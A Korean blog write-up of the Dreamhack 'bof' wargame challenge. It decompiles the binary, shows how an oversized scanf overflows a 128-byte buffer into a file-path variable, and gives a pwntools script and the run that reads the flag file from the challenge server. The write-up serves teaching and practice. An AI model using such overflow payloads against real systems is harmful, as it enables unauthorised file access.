
1. Prob
Buffer overflow is one of the basics of pwnable 🐱
- The path of the flag file is /home/bof/flag.
2. Analysis
문제 파일을 다운로드 하면, bof, cat, flag 세 개의 파일을 확인할 수 있다. 문제에서 flag의 경로는 /home/bof/flag 임을 명시하는 것으로 보아, 공격 코드에 파일의 경로를 포함해야 하는 것으로 생각 된다. 또한 문제에서 Buffer Overflow 취약점이 있음을 명시하고 있기 때문에 Buffer Overflow 취약점에 대한 이해도가 필요할 것으로 생각된다. 기초적인 문제이기 때문에 풀이에 어려움은 없을 것으로 생각 된다.
먼저 ghidra를 사용하여 main 함수를 Disassembly 한 결과는 아래와 같다.
int main(EVP_PKEY_CTX *param_1)
{
char buf [128];
int local_value;
undefined2 local_14;
init(param_1);
local_value = 0x61632f2e;
local_14 = 0x74;
printf("meow? ");
__isoc99_scanf("%144s",buf);
read_cat(&local_value);
printf("meow, %s :)\n",buf);
return 0;
}
※ 상기 코드는 디스어셈블리 된 결과를 토대로 일부 복원한 코드
상기 코드에서 Buffer Overflow 취약점이 발생하는 부분은 어렵지 않게 찾을 수 있다.
__isoc99_scanf("%144s",buf);
buf 의 크기는 128byte 이나 144byte 만큼 입력을 받기 때문에 Buffer Overflow 취약점이 발생한다. 이후 read_cat 함수의 인자로 local_value 변수의 주소를 전달하고 printf 함수를 통해 buf 배열에 저장된 값을 출력한다.
read_cat 함수 분석을 위해 Ghidra를 사용하여 Disassembly를 수행한 결과는 아래와 같다.
void read_cat(char *param_1)
{
int iVar1;
char buf [128];
ssize_t local_18;
int local_c;
memset(buf,0,0x80);
local_c = 0;
local_c = open(param_1,0);
if (local_c == -1) {
puts("open() error");
exit(1);
}
local_18 = read(local_c,buf,0x80);
if (local_18 == -1) {
puts("read() error");
exit(1);
}
puts("");
puts(buf);
iVar1 = close(local_c);
if (iVar1 != 0) {
puts("close() error");
exit(1);
}
return;
}
read_cat 함수의 인자로 전달된 param_1 을 open 함수와 read 함수의 인자로 전달한다. 따라서 param_1은 파일의 경로가 들어가야 한다.
이를 사용하여 문제에서 주어진 목표를 달성할 수 있을 것으로 보인다. 먼저 Buffer Overflow 취약점을 사용하여 local_value에 저장된 값을 "/home/bof/flag" 문자열로 바꿔준다면, 해당 값이 read_cat 함수의 인자로 전달되어 flag 파일을 읽을 수 있을 것이다.
이제 동적 분석을 통해 local_value에 저장된 값이 어디에 위치해 있는지 찾아보자. gdb를 사용하여 main 함수를 disassemble 한 결과는 아래와 같다.
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000401391 <+0>: endbr64
0x0000000000401395 <+4>: push rbp
0x0000000000401396 <+5>: mov rbp,rsp
0x0000000000401399 <+8>: sub rsp,0x90
0x00000000004013a0 <+15>: mov eax,0x0
0x00000000004013a5 <+20>: call 0x40132c <init>
0x00000000004013aa <+25>: lea rax,[rbp-0x10]
0x00000000004013ae <+29>: mov DWORD PTR [rax],0x61632f2e
0x00000000004013b4 <+35>: mov WORD PTR [rax+0x4],0x74
0x00000000004013ba <+41>: lea rax,[rip+0xc6c] # 0x40202d
0x00000000004013c1 <+48>: mov rdi,rax
0x00000000004013c4 <+51>: mov eax,0x0
0x00000000004013c9 <+56>: call 0x4010d0 <printf@plt>
0x00000000004013ce <+61>: lea rax,[rbp-0x90]
0x00000000004013d5 <+68>: mov rsi,rax
0x00000000004013d8 <+71>: lea rax,[rip+0xc55] # 0x402034
0x00000000004013df <+78>: mov rdi,rax
0x00000000004013e2 <+81>: mov eax,0x0
0x00000000004013e7 <+86>: call 0x401130 <__isoc99_scanf@plt>
0x00000000004013ec <+91>: lea rax,[rbp-0x10]
0x00000000004013f0 <+95>: mov rdi,rax
0x00000000004013f3 <+98>: call 0x401236 <read_cat>
0x00000000004013f8 <+103>: lea rax,[rbp-0x90]
0x00000000004013ff <+110>: mov rsi,rax
0x0000000000401402 <+113>: lea rax,[rip+0xc31] # 0x40203a
0x0000000000401409 <+120>: mov rdi,rax
0x000000000040140c <+123>: mov eax,0x0
0x0000000000401411 <+128>: call 0x4010d0 <printf@plt>
0x0000000000401416 <+133>: mov eax,0x0
0x000000000040141b <+138>: leave
0x000000000040141c <+139>: ret
End of assembler dump.
read_cat 함수가 호출될 때 break point를 설정하고 local_value 변수에 저장된 값이 어디에 어떻게 담겨져 있는지 찾아야 한다. 이를 위해 최대 입력인 128byte를 입력해본 결과는 아래와 같다.
pwndbg> b *main+98
Breakpoint 1 at 0x4013f3
pwndbg> r <<< $(python -c 'print("A"*128)')
Starting program: /home/gssong/Desktop/bof <<< $(python -c 'print("A"*128)')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
meow?
Breakpoint 1, 0x00000000004013f3 in main ()
...(중략)
pwndbg> x/100x $rsp
0x7fffffffe190: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe200: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe210: 0x61632f00 0x00000074 0xffffe348 0x00007fff
0x7fffffffe220: 0xffffe2c0 0x00007fff 0xf7c2a1ca 0x00007fff
0x7fffffffe230: 0xffffe270 0x00007fff 0xffffe348 0x00007fff
0x7fffffffe240: 0x00400040 0x00000001 0x00401391 0x00000000
...(중략)
바로 뒤에 local_value 값이 존재하는 것을 확인하였다. 실제로 132byte를 덮고, read_cat 함수의 인자를 확인해보면 아래와 같이 0x41414141로 덮여 있음을 확인할 수 있다.
3. Payload
문제 풀이를 위한 payload는 간단하다. 먼저 128byte buffer를 채우고, 그 후 "/home/bof/flag" 라는 값을 넣어, read_cat 함수가 해당 파일을 열고, 읽을 수 있도록 한다.
from pwn import*
p = remote('host3.dreamhack.games', 24124)
payload = b'A'*128
payload += b'/home/bof/flag'
p.sendlineafter(b'meow? ', payload)
p.interactive()
gssong@cybersecurity:~/Desktop$ !vim
vim bof_ex.py
gssong@cybersecurity:~/Desktop$ !py
python bof_ex.py
[+] Opening connection to host3.dreamhack.games on port 24124: Done
[*] Switching to interactive mode
DH{5cd1f793ae6a081e4bfd28f6d570d83355148245fbe7c1f69b12771202b80a13}
meow, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/bof/flag :)
[*] Got EOF while reading in interactive
'Wargame & CTF > Dreamhack' 카테고리의 다른 글
off_by_one_001 (0) | 2025.01.22 |
---|---|
basic_exploitation_003 (0) | 2025.01.16 |
basic_exploitation_001 (0) | 2024.12.18 |
shell_basic (0) | 2024.12.17 |
baby-bof (0) | 2024.12.17 |